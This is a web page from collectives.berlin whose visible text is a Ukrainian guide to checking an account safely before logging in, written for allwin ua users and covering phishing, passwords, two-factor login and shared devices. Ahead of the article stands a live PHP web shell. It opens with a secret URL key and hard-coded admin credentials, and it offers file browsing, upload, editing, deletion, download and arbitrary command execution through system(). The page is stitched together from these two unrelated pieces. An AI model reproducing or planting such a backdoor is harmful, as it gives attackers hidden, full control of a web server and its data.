if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Як безпечно перевірити обліковий запис перед входом – collectives.berlin

Your digital paradise.

Як безпечно перевірити обліковий запис перед входом

allwin ua

Безпека облікового запису починається не з введення пароля, а з перевірки адреси, пристрою та власних дій. Для користувачів Allwin Ua сторінка allwin вхід може бути лише інформаційною точкою, тому конкретні можливості й вимоги потрібно звіряти з офіційними повідомленнями оператора. Нижче наведено практичний порядок перевірки, який допомагає зменшити ризик фішингу, витоку даних і помилкового входу до чужого сервісу.

Почніть із перевірки адреси та з’єднання

allwin ua

Перед введенням логіна або пароля подивіться на адресу сторінки в адресному рядку. Вона має починатися з https://, а домен потрібно прочитати повністю, без поспіху. Шахрайські копії часто відрізняються одним символом, незвичним закінченням або додатковим словом у назві. Навіть наявність значка замка не доводить, що перед вами справжній сайт: сертифікат захищає з’єднання, але не підтверджує доброчесність власника домену.

Не переходьте до сторінки входу з випадкових повідомлень у месенджері, рекламних оголошень або листів із вимогою «терміново підтвердити» профіль. Надійніше самостійно відкрити збережену адресу чи перевірити її через офіційний канал, яким ви вже користувалися раніше. Особливо обережно ставтеся до скорочених посилань: вони приховують кінцевий домен і не дають змоги швидко оцінити його походження.

Публічна мережа Wi-Fi не завжди є небезпечною, однак у кафе, готелі чи транспорті краще не виконувати чутливі операції без потреби. Якщо з’єднання нестабільне, браузер показує попередження або сторінка раптово перенаправляє на іншу адресу, зупиніть процес. Закрийте вкладку, очистьте підозріле сповіщення та перевірте адресу ще раз із надійного пристрою.

allwin ua

Переконайтеся, що облікові дані не під загрозою

Пароль для ігрового чи розважального сервісу не варто повторно використовувати для електронної пошти, банкінгу або соціальних мереж. Якщо один ресурс буде скомпрометовано, зловмисники можуть автоматично перевірити ті самі комбінації в інших системах. Практичний варіант — довга унікальна фраза, яку складно вгадати, але можна зберігати в надійному менеджері паролів.

Не передавайте пароль працівникам підтримки, знайомим або людям, які обіцяють «перевірити» профіль. Справжня служба підтримки може попросити опис проблеми чи певні відомості для ідентифікації, але вимога надіслати повний пароль, код із повідомлення або резервні ключі має викликати підозру. Одноразовий код призначений лише для тієї дії, для якої його було створено.

Якщо сервіс пропонує додаткове підтвердження особи під час входу, не вимикайте його без чіткої причини. Двоетапний захист зменшує ризик доступу навіть тоді, коли пароль став відомий іншій людині. Водночас резервні коди потрібно зберігати окремо від телефона, не фотографувати без захисту та не залишати у відкритих нотатках або спільному хмарному сховищі.

Відокремте справжнє повідомлення від фішингового

Фішингове повідомлення зазвичай розраховане на емоційну реакцію. У ньому можуть лякати блокуванням, обіцяти термінове відновлення доступу або вимагати виконати дію за кілька хвилин. Такий тон сам по собі не доводить шахрайство, але є вагомою підставою не натискати на посилання одразу. Спочатку відкрийте сервіс звичним способом і перевірте, чи є там відповідне сповіщення.

Звертайте увагу не лише на адресу відправника, а й на стиль повідомлення. Помилки, дивні формулювання, нечіткі правила, несподівані вкладення та прохання встановити невідому програму підвищують ризик. Не вводьте особисті дані на сторінці, яка відкрилася після такого листа. Якщо сумніваєтеся, самостійно знайдіть офіційний канал підтримки, не відповідаючи на підозріле повідомлення.

Корисні загальні рекомендації щодо захисту від кіберзагроз можна переглянути на офіційному ресурсі CERT-UA. Вони не підтверджують властивості конкретного оператора, але допомагають краще розпізнавати небезпечні посилання, шкідливі файли та спроби виманити облікові дані. Для українських користувачів це доречне джерело базових правил цифрової безпеки.

Дійте обережно на спільному або новому пристрої

Вхід із чужого ноутбука, робочого комп’ютера чи телефона підвищує ризик залишити після себе активну сесію. Якщо іншого варіанта немає, не дозволяйте браузеру зберігати пароль, не погоджуйтеся на автоматичний вхід і після завершення обов’язково вийдіть із профілю. За можливості використовуйте приватне вікно, але пам’ятайте: воно не робить пристрій повністю анонімним і не захищає від шкідливих програм.

На власному телефоні чи комп’ютері встановлюйте оновлення операційної системи та браузера без тривалого відкладання. Оновлення часто виправляють вразливості, через які сторонні програми можуть отримати доступ до даних. Екран пристрою має блокуватися кодом або біометрією, а сам телефон не варто залишати без нагляду під час відкритої сесії.

Після входу перевірте, чи не з’явилися незнайомі сповіщення, зміни контактних даних або повідомлення про нову сесію. Якщо така функція доступна, перегляньте список активних пристроїв і завершіть незнайомі сеанси. Не робіть висновків лише за зовнішнім виглядом сторінки: безпека залежить також від браузера, системи, мережі та поведінки самого користувача.

Що робити після підозрілої спроби входу

Якщо ви випадково ввели пароль на сумнівній сторінці, не чекайте підтвердження, що стався витік. Негайно змініть пароль через перевірений канал, а якщо він повторюється на інших сайтах — замініть його і там. Спочатку захистіть електронну пошту, пов’язану з профілем, адже саме через неї часто відновлюють доступ до інших облікових записів.

Далі перевірте активні сеанси, контактні дані, налаштування додаткового захисту та історію сповіщень, якщо ці розділи доступні. Не видаляйте підозрілі листи до того, як збережете адресу відправника, час і зміст повідомлення. Ці відомості можуть знадобитися під час звернення до підтримки або фахівців із кібербезпеки.

Не надсилайте нікому копії документів, фото картки чи коди підтвердження лише тому, що вас налякали можливою втратою доступу. Вимоги до ідентифікації можуть відрізнятися, а наявність такої процедури не означає, що будь-який запит є справжнім. Якщо умови перевірки незрозумілі, спочатку ознайомтеся з поясненнями оператора та зверніться до його офіційної підтримки.

Поширені запитання про безпечний вхід

Чи достатньо значка замка біля адреси?

Ні. Значок замка показує, що з’єднання шифрується, але не гарантує справжність сайту та безпеку його власника. Перевірте повний домен, спосіб переходу на сторінку й відсутність підозрілих перенаправлень. Якщо адреса відрізняється від очікуваної хоча б одним символом, не вводьте дані.

Чи можна входити до профілю через публічний Wi-Fi?

Краще уникати чутливих дій у незнайомій мережі, особливо якщо вона не потребує пароля або має дивну назву. Якщо відкласти вхід неможливо, перевірте адресу, використовуйте захищений пристрій і вийдіть із профілю після завершення. Не зберігайте пароль у браузері на спільному обладнанні.

Що робити, якщо пароль уже введено на підозрілій сторінці?

Змініть його через перевірену адресу та замініть усюди, де використовувалася така сама комбінація. Увімкніть додаткове підтвердження, завершіть незнайомі сеанси й перевірте електронну пошту. Підозріле повідомлення не видаляйте одразу: зафіксуйте його дані та повідомте офіційну підтримку відповідного сервісу.